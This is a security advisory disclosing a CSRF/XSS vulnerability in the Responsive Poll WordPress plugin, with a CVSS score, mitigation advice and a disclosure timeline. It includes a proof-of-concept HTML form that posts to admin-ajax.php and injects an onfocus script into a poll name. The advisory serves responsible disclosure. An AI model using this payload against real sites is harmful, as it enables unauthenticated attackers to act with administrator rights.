Reporter Tom Adams
Software: Responsive Poll
Advisory report: https://security.dxw.com/advisories/csrfxss-in-responsive-poll-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can
Proof of concept
Create a poll.A We assume that the ID of this poll will be 1.
Visit the following page and click submit (in a real attack the form can be submitted without user interaction):
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
<input type=\"text\" name=\"poll_id\" value=\"1\">
<input type=\"text\" name=\"action\" value=\"update_poll\">
<input type=\"text\" name=\"name\" value=\"" onfocus="alert(1)\">
Then visitA http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).
Disable the plugin until a new version is released that fixes this bug.
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2016-12-07: Reported to vendor viaA https://codecanyon.net/user/weblator
2016-12-07: Requested CVE
2016-12-15: Vendor first replied
2017-01-10:A Itas been over 30 days and the vendorA has not reported the bug fixed orA indicatedA when they expect it to be fixed
2017-01-10:A Advisory published
Discovered by dxw:
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